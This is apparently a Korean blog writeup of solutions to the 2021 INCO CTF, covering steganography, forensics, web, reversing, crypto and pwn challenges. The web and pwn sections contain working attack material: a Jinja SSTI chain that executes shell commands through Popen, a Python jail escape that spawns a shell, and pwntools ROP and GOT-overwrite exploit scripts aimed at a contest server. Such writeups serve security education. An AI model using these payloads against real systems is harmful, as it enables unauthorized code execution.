0. Sanity check
FLAG : INCO{Inc0gntio운영팀화이팅!}
1. MISC
1) EZ_steganography
HxD로 열면 끝에 INCO{457a5f53746567} 가 있다.
헥스값을 디코딩하면 Ez_Steg가 나온다.
FLAG : INCO{Ez_Steg}
2) hex carving
zip 파일이 속에 있다.
hxd로 긁어서 꺼내고 압축 풀면 gif 파일이 나온다.
gif 의 프레임들을 사이트를 이용해서 뽑아낸다.
FLAG : INCO{3Z_C4rving}
3) Deconstructionism
텍스트파일을 주는데, 뒤의 3개는 RGB, 앞의 2개가 XY임을 유추할 수 있다.
x는 37, y는 521이 최대임을 알 수 있다.
python의 Pillow를 사용하여 픽셀 하나하나를 넣어 png 파일을 만들 수 있다.
from PIL import Image
img = Image.new(mode='RGB',size=(38,522))
f = open('./file.txt','r')
pixels = f.readlines()
for pixel in pixels:
pixel = pixel.replace('(','').replace(')','').replace('\n','')
pixel = list(map(int, pixel.split(',')))
img.putpixel((pixel[0],pixel[1]),(pixel[2],pixel[3],pixel[4]))
img.save('./flag.png')
FLAG : INCO{Y0U_4RE_M4$TER_0F_C0D1NG}
2. Forensic
1) TwinCle
파일 중간에 jpg가 끝나고 PK가 시작하는 것으로 보아 zip파일이 있다.
압축풀면 안에 이미지파일이 있는데, hxd로 보면 플래그가 있다.
FLAG : INCO{HeLLOweaReTwinCle}
2) question
hxd로 까보면 압축 해제할 수 있음을 알 수 있다.
압축 해제 후 word - media 폴더에 들어가면 이미지 파일이 있는데, 이를 hxd로 까보면 끝에 base64 인코딩된 문자열이 있다.
FLAG : INCO{2021_incognito_swlug}
3) inco_hack.png
png 끝에 zip 파일이 있다.
안에 있는 텍스트 파일을 열어보면 base64 문자열이 있다.
FLAG : INCO{y0u_ar3_D1FF3R#NT}
4) SWUCTFINCO
FTP 스트림을 확인하면 PNG 파일을 볼 수 있다.
png 파일을 저장하여 확인하면 플래그를 얻을 수 있다.
FLAG : INCO{therearenobaddogsintheworld}
4) HS
이동식 저장장치의 시리얼 번호가 플래그이다.
처음엔 무슨 파일인지 몰랐지만, 검색해보니 NT Registry 인 것 같다.
hxd로 한참 뒤져보다 USBSTOR 와 usb serial 등을 연관하여 검색하다 한 사이트를 발견했다.
https://hatsoffsecurity.com/2014/06/05/usb-forensics-pt-1-serial-number/comment-page-1/
hxd로 보다가 USBSTOR#Disk&Ven_Samsung&Prod_Flash_Drive&Rev 를 봤었는데, 이 다음에 시리얼번호가 온다는 것을 알 수 있다.
FLAG : INCO{0374120030028536}
3. WEB
1) Do you know Hashes
<?php $keys = [ NULL, " ", " ", " " ]; if(hash('md5', $keys[1]) == hash('crc32', $keys[2])){ if(hash('crc32', $keys[2]) == hash('md4', $keys[3])){ if(hash('md5', $keys[1]) == hash('md4', $keys[3])){ echo "<script>alert('[Verified Success]\\nCongrats! {flag}');</script>"; }else fail(); }else fail(); }else fail(); function fail() { echo "<script>alert('Failed to verify!');</script>"; } ?>
keys 의 두번째 세번째 네번째 값을 알맞게 채워줘야 한다.
해시값들이 같아야하는데, 이는 매직 해시를 이용하면 된다.
https://www.whitehatsec.com/blog/magic-hashes/
위 페이지에서 매직해시를 볼 수 있다.
keys[1] = 240610708
keys[2] = 2332
keys[3] = 48291204
FLAG : INCO{L0L_YoU_H1t_Ha5hes_50_MuCH!!}
2) Rotten Onion
jinjja 라고 쓴걸 보아 jinja ssti 문제임을 알 수 있다.
{{ 7*7 }} 을 넣어 49가 나오면 되는건데, 잘 나온다.
{{ ''.__class__.__mro__[1].__subclasses__() }} 을 보내 Popen의 인덱스를 확인해야한다.
{{ ''.__class__.__mro__[1].__subclasses__()[230:] }}
{{ ''.__class__.__mro__[1].__subclasses__()[210:] }}
{{ ''.__class__.__mro__[1].__subclasses__()[200:] }}
같이 앞으로 땡겨주면서 Popen이 있는지 확인하면 된다.
{{ ''.__class__.__mro__[1].__subclasses__()[200] }} 을 보내면 위처럼 Popen이 나온다.
{{ ''.__class__.__mro__[1].__subclasses__()[200]('ls',shell=True,stdout=-1).communicate() }}
을 보내 ls 명령어를 실행한다.
파이썬으로 print해 예쁘게 보면 onion.txt가 있다. cat 해보면 구글 드라이브 링크가 나온다.
피피티 파일을 주는데, 이를 압축 해제하고 media 폴더로 가본다.
슬라이드는 위와 같고, 물음표 png를 hxd로 까보면 맨 아래에 Fake flag가 있다.
이후에 좀 많이 해메다, 다른 문제를 풀다가 png width height 조정하는 문제가 있었는데, 갑자기 저 양파의 변화 png가 생각나서 바로 height를 바꿔봤다.
010 editor로 height를 1500으로 늘려봤다.
숨겨진 플래그가 나온다.
FLAG : INCO{!dONt_EAT_rOttEn_oNIonS!!}
4. Reversing
1) Leap
apk 파일을 주는데, 아래 사이트로 디컴하고 다운한다.
http://www.javadecompilers.com
sources\com\example\leap\MainActivity.java를 jd-gui로 보면
loadLibrary로 라이브러리를 불러온다. resources\lib\x86_64\libnative-lib.so 를 ida로 까본다.
stringFromJNI 함수를 찾아 보면 위와 같다.
저 헥스값을 디코딩해보면 플래그가 나온다.
FLAG : INCO{l00K b3F0r3 Y0U l3^p}
5. Crypto
1) encoder
바이너리 파일과 암호문을 준다.
8lpjnQxxE6rWG2AlndvWzYxSGKrhfzxlGUIYOZAAGCrYbztSjl2K====
암호문의 형식을 보면 base~ 느낌인데, base32, 64 다 안된다.
코드는 뭔지 모르겠지만, 저 바이트 배열을 보면 총 32개 있다. base32인것을 알 수 있으며, 테이블을 위 사진으로 이용한다는 것을 알 수 있다.
base32[] = "bdfhjlnp68+ACEGIKMOQSUWYrtvxzZ24"
base32 인코딩 원리를 보면, 원문을 비트로 다 나열했을때 5비트씩 끊어서 얻은 값을 테이블의 인덱스로 사용하여 암호문을 만들어낸다.
ex)
INCO{ : 01001001 01001110 01000011 01001111 01111011
01001 00101 00111 00100 00110 10011 11011 11011 : 9 5 7 4 6 19 27 27
base32[9] base32[5] .. -> 8lpjnQxx 가 된다.
거꾸로 가려면 인코딩된 글자 하나하나의 테이블 인덱스를 비트로 나열하고, 이를 8비트씩 끊어 글자로 변환하면 된다.
c = '8lpjnQxxE6rWG2AlndvWzYxSGKrhfzxlGUIYOZAAGCrYbztSjl2K' table = 'bdfhjlnp68+ACEGIKMOQSUWYrtvxzZ24' plainHex = '' for i in c: plainHex += '{:05b}'.format(table.index(i)) flag = ''.join([chr(int(plainHex[i:i+8],2)) for i in range(0,len(plainHex),8)]) print(flag)
FLAG : INCO{j1gye0un_tt01seu_yuks1ps4!}
2) xor&aes
import os import binascii from Crypto.Cipher import AES class XOR: def __init__(self): self.key = os.urandom(5) #find key value def encrypt(self, data: bytes) -> bytes: enc = b'' for i in range(len(data)): enc += bytes([data[i] ^ self.key[i % 5]]) return enc def decrypt(self, data: bytes) -> bytes: #complete this method return class AES256: def __init__(self): iv = b'\x00'*16 self.key = b'12345678901234567890123456789012' self.crypto = AES.new(self.key, AES.MODE_CBC, iv) def encrypt(self, msg): msg = msg + b'\x00'*(32-len(msg)) cipher = self.crypto.encrypt(msg) return cipher def decrypt(self, enc): #complete this method return cipher def main(): flag = open('flag.bin', 'rb').read().strip() print(">>>>>encrypt flag: ", flag) xord = XOR() aesd = AES256() decrypt_flag = aesd.decrypt(flag) print("only aes decrypt: ", binascii.b2a_hex(decrypt_flag)) xord_flag = xord.decrypt(decrypt_flag) print ('>>>>>decrypt flag:', xord_flag) if __name__ == '__main__': main()
decrypt 코드를 완성해야한다.
import os import binascii from Crypto.Cipher import AES class XOR: def __init__(self): self.key = b'\x13+7\xc5\xf8' #find key value def encrypt(self, bytes): enc = b'' for i in range(len(data)): enc += bytes([data[i] ^ self.key[i % 5]]) return enc def decrypt(self, data): dec = '' for i in range(len(data)): dec += chr(ord(data[i]) ^ ord(self.key[i%5])) return dec class AES256: def __init__(self): iv = b'\x00'*16 self.key = b'12345678901234567890123456789012' self.crypto = AES.new(self.key, AES.MODE_CBC, iv) def encrypt(self, msg): msg = msg + b'\x00'*(32-len(msg)) cipher = self.crypto.encrypt(msg) return cipher def decrypt(self, enc): cipher = self.crypto.decrypt(enc) return cipher def main(): flag = open('flag.bin', 'rb').read().strip() print(">>>>>encrypt flag: ", flag) xord = XOR() aesd = AES256() decrypt_flag = aesd.decrypt(flag) print("only aes decrypt: ", binascii.b2a_hex(decrypt_flag)) xord_flag = xord.decrypt(decrypt_flag) print ('>>>>>decrypt flag:', xord_flag) if __name__ == '__main__': main()
위와같이 짜면 된다.
3) One Fake, One bin, 960 x 640
위와 같이 HTTP 통신에서 주고받은 데이터를 볼 수 있는데, multipart/form-data 3개를 다 다운한다.
000.zip, square.png, fake.jpeg 3개가 있는데, 하나씩 까보면 된다.
000.zip 압축 해제함면 bin 파일이 있고, 시그니쳐를 수정하여 jpg 파일로 만들고 열면 플래그의 일부가 나온다.
fake jpg를 열면 아래와 같은 사진이 나온다.
위 헥스값을 디코딩하면 FAKE flag 관련해서 나온다.
파일 끝에 PNG 푸터 시그니쳐로 끝나는 것으로 보아 PNG가 있는걸 알 수 있고, 이를 뽑아낸다.
이후 square.png 를 열면 사진이 깨진다. 문제 이름에 960 x 640이 있으니, width와 height를 맞춰주면 된다.
위 3개의 플래그를 조합하면
FLAG : INCO{th1s_question_nam3_1s_st3g@nOgr@phy}
5. Pwn
1) Calculator
python jail 문제이다.
getattr(__import__('os'),'sys'+'tem')('sh') 를 이용하여 쉘을 딸 수 있다.
FLAG : INCO{U_G0T_$oM3_pY7h0n_$k1llz}
2) test
바이너리를 준다.
간단한 연산 문제의 답을 맞추면, BOF를 터지게 해준다.
from pwn import * context.arch = 'amd64' context.log_level = 'debug' e = ELF('./test') #p = process('./test') p =remote('3.37.81.93', 10005) libc = ELF('./test.so') p.sendlineafter(': ','a') answer = [316, 201, 421, 16, 24] for i in answer: p.sendlineafter('=',str(i)) prdi = 0x400a73 puts_offset = libc.symbols['puts'] payload = '' payload += p64(prdi) payload += p64(e.got['puts']) payload += p64(e.plt['puts']) payload += p64(prdi) payload += p64(100) payload += p64(0x400954) p.sendlineafter('^^\n','a'*0x108 + payload) leak = u64(p.recvuntil('\n')[:6] + '\0\0') base = leak - puts_offset oneshot = base + 0x45226 xor_rax = base + 0x000000000008b945 log.info('%x'%base) p.sendlineafter('^^\n','a'*0x108 + p64(xor_rax) + p64(oneshot)) p.interactive()
ROP 와 oneshot으로 쉘을 딸 수 있다.
puts got를 leak 해서 base를 구하고, 원샷 주소와 원샷 조건을 충족시킬(xor rax, rax) 가젯 주소까지 구한 후 다시 bof한다.
FLAG : INCO{E2zy_2ncr7pt10n_082421}
3) dice
베팅을 한후, 랜덤값 2개 돌려서 플레이어의 랜덤값이 더 높으면 이기고, 아니면 지고, 같으면 무승부다.
if 조건에서 unsigned int인 v5(베팅금액)를 signed int로 캐스팅하여 문제가 생긴다.
베팅금액에 음수를 집어넣으면 돈을 불릴 수 있다.
FLAG : INCO{D!cE_tO_F0rmAt_StrinG}
4) verysimple
buf가 ptr을 덮을 수 있어서 두번째 read때 원하는 곳을 write 할 수 있다.
그리고 system 함수가 plt got에 있다.
main 함수 끝에 puts(buf) 하므로 puts got 에 system plt를 써주면 되는데, 이때 sendline 하면 0a가 puts got 뒤의 system got를 침범해서, system got값까지 추가로 써준다.
from pwn import * context.log_level = 'debug' e = ELF('./chall') p = remote('3.37.81.93', 55533) p.recvuntil(':') p.send('/bin/sh\0' + 'a'*(0x40-8) + p64(e.got['puts'])) p.sendline(p64(e.plt['system']) + p64(0x4005a6)) p.interactive()
FLAG : INCO{buf-verysimple}
'CTF Writeup' 카테고리의 다른 글
2021 Layer7 CTF 후기 / Writeup (1) | 2021.11.25 |
---|---|
DAM CTF 2021 - Sneaky Script (0) | 2021.11.11 |
2021 전국 고등학생 보안 경진대회 WriteUp - ANUSEC 안동대 (0) | 2021.08.28 |
Tenable CTF - CODE (0) | 2021.02.24 |
DarkCON CTF - PWN Writeup (2) | 2021.02.21 |